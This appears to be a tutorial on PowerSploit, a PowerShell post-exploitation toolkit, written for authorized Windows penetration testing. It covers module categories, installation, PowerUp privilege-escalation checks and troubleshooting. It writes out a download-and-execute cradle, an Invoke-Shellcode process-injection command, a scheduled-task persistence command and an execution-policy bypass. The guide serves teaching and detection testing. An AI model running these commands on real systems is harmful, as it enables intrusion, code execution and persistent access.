powersploit: A collection of PowerShell scripts used for post-exploitation tasks in Windows environments

PowerSploit was one of the first toolkits that taught me how much you can accomplish on a Windows target using nothing but native PowerShell — no compiled binaries dropped to disk, no AV signatures to dodge in the traditional sense. It’s older now and heavily signatured, but understanding it is still foundational for anyone doing Windows-focused red teaming. Here’s the complete picture.

What Is PowerSploit?

PowerSploit is a collection of PowerShell modules and scripts designed to assist penetration testers during all phases of an engagement — reconnaissance, privilege escalation, persistence, exfiltration, and anti-virus evasion — all built on top of PowerShell, which ships natively on modern Windows.

It’s organized into functional categories, including:

• CodeExecution — scripts for executing code/shellcode in memory
• ScriptModification — obfuscation and encoding helpers
• Persistence — mechanisms for maintaining access across reboots
• AntivirusBypass — techniques for evading signature-based AV
• Exfiltration — data extraction helpers
• Mayhem — miscellaneous offensive utilities
• Privesc (PowerUp) — Windows privilege escalation checks
• Recon (PowerView) — Active Directory enumeration (now more commonly used as its own standalone project)

Architecture and Internal Working

1. PowerSploit modules are plain .ps1 scripts loaded into a PowerShell session, either locally or via in-memory download-and-execute (IEX (New-Object Net.WebClient).DownloadString(...), historically its signature technique).
2. Because PowerShell runs interpreted, nothing needs to be compiled or written to disk in many usage patterns, which historically helped evade file-based antivirus scanning (though modern AMSI, Script Block Logging, and EDR products have largely closed this gap).
3. Functions like Invoke-Shellcode inject raw shellcode into a target process’s memory using Windows API calls exposed through .NET reflection, avoiding the need for a separate loader binary.
4. PowerUp functions enumerate common Windows misconfigurations (unquoted service paths, weak service permissions, AlwaysInstallElevated registry keys) that lead to privilege escalation.
5. Persistence scripts install scheduled tasks, WMI event subscriptions, or registry run-keys that re-launch a PowerShell payload on a trigger.

Installation

PowerSploit’s original repository is archived, but it’s still available for lab use:

git clone https://github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit

On Kali, it’s also available as a package in some repos, or simply cloned directly. To use it on a Windows lab machine, import the module:

Import-Module .\PowerSploit.psd1

Or load an individual script:

. .\Privesc\PowerUp.ps1

Syntax and Usage Examples

Enumerating privilege escalation vectors with PowerUp:

Invoke-AllChecks

Sample output:

[*] Running Invoke-AllChecks

ServiceName    : VulnSvc
Path           : C:\Program Files\Vuln App\service.exe
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'VulnSvc' -Path <HijackPath>

[*] Checking for unquoted service paths...
ServiceName    : LegacyService
Path           : C:\Program Files\Legacy App\bin\svc.exe
CanRestart     : True

Executing shellcode in memory:

Invoke-Shellcode -Payload <base64_shellcode> -ProcessID 1044

[*] Injecting shellcode into process ID 1044...
[+] Shellcode injected successfully.

Establishing a scheduled-task persistence mechanism (lab demonstration only):

Invoke-ScheduledTaskPersistence -PayloadPath C:\lab\payload.ps1 -TaskName "LabDemoTask" -Daily -At "09:00"

[+] Scheduled task 'LabDemoTask' created, executing payload.ps1 daily at 09:00.

Real-World Use Case (Authorized Pentest)

In a Windows-focused internal engagement:

1. After an initial foothold, I run Invoke-AllChecks from PowerUp to quickly surface local privilege escalation opportunities — unquoted service paths, weak ACLs on services, misconfigured registry keys — that would otherwise take much longer to find manually.
2. If a viable vector is found, I demonstrate escalation using the corresponding abuse function it recommends, always within the agreed scope and rules of engagement.
3. I use persistence modules only in engagements explicitly scoped for persistence testing, clearly documenting every artifact created (scheduled tasks, registry keys) so the client can fully remove them afterward.
4. In the final report, I map findings to MITRE ATT&CK techniques (e.g., T1053 for scheduled task persistence, T1055 for process injection) and recommend Script Block Logging, AMSI integration, and EDR behavioral detection as mitigations, since PowerSploit’s techniques are now widely fingerprinted by modern defensive tooling.

Automation and Integration

• Combine PowerUp’s checks with Active Directory enumeration tools like BloodHound/SharpHound for a fuller privilege-escalation and lateral-movement picture.
• Chain Invoke-Shellcode output with Metasploit-generated payloads for lab demonstrations of memory-resident execution.
• Integrate findings into reporting frameworks (Dradis, Faraday) by exporting PowerUp results as structured objects (Invoke-AllChecks | ConvertTo-Json).

Performance Optimization

• Load only the specific script/module needed rather than the entire PowerSploit suite, reducing memory footprint and script-block logging noise during testing.
• Run Invoke-AllChecks selectively (specific check functions) on production-like lab systems to avoid unnecessary load during larger assessments.

Troubleshooting

• “Script is not digitally signed” errors: adjust the PowerShell execution policy for the lab session (Set-ExecutionPolicy Bypass -Scope Process) — only ever in a controlled, authorized lab context.
• AMSI blocking script execution: this is expected behavior on modern, patched Windows systems; many PowerSploit scripts are now flagged by AMSI signatures, which is itself a good discussion point for a client report on defense-in-depth.
• Functions not found after import: verify the module or script actually loaded without error; some functions require dot-sourcing (. .\script.ps1) rather than Import-Module.

Best Practices

• Only run PowerSploit modules on systems and networks explicitly in scope with written authorization.
• Treat any persistence mechanism as something that must be fully documented and removed at engagement close.
• Expect and note in scoping conversations that most PowerSploit techniques are heavily signatured by modern AV/EDR — it’s most useful today for teaching concepts and testing detection coverage, not evading a modern SOC.
• Log every command run against a client system for your own engagement audit trail.

Common Mistakes

• Assuming PowerSploit will bypass modern AMSI/EDR without modification — much of the toolkit is now well-known to defensive products.
• Running Invoke-AllChecks or persistence scripts on out-of-scope hosts due to unclear engagement boundaries.
• Leaving lab or test persistence artifacts in place after an engagement, creating cleanup and trust issues with the client.

FAQ

Is PowerSploit still actively maintained? The original repository is largely archived/unmaintained; many of its capabilities have evolved into separate, actively maintained projects such as PowerView (now under BloodHound-adjacent tooling) and various individual community forks.

Does PowerSploit still evade modern antivirus? Rarely, out of the box. AMSI (Antimalware Scan Interface) and modern EDR behavioral detection have significantly reduced its stealth compared to when it was first released.

Do I need administrative rights to use PowerSploit? Some modules (like certain persistence or privilege escalation checks) work at standard user level to identify escalation paths; actually exploiting some of those paths, or using injection functions, typically requires the appropriate local permissions for the target action.

Is PowerSploit legal to use? It’s legal to use in the same way any security tool is — with explicit, written authorization from the system owner. Using it against systems without authorization is illegal.

Summary

PowerSploit remains a foundational reference for understanding native PowerShell-based post-exploitation techniques — privilege escalation discovery, in-memory execution, and persistence. While its raw scripts are now widely detected by modern defenses, it’s still an excellent teaching tool for authorized Windows-focused engagements and for testing how well a client’s EDR/AMSI stack catches known techniques.

References

• GitHub repository: https://github.com/PowerShellMafia/PowerSploit
• MITRE ATT&CK mappings for related techniques: https://attack.mitre.org/
• Kali Linux tool page: https://www.kali.org/tools/powersploit/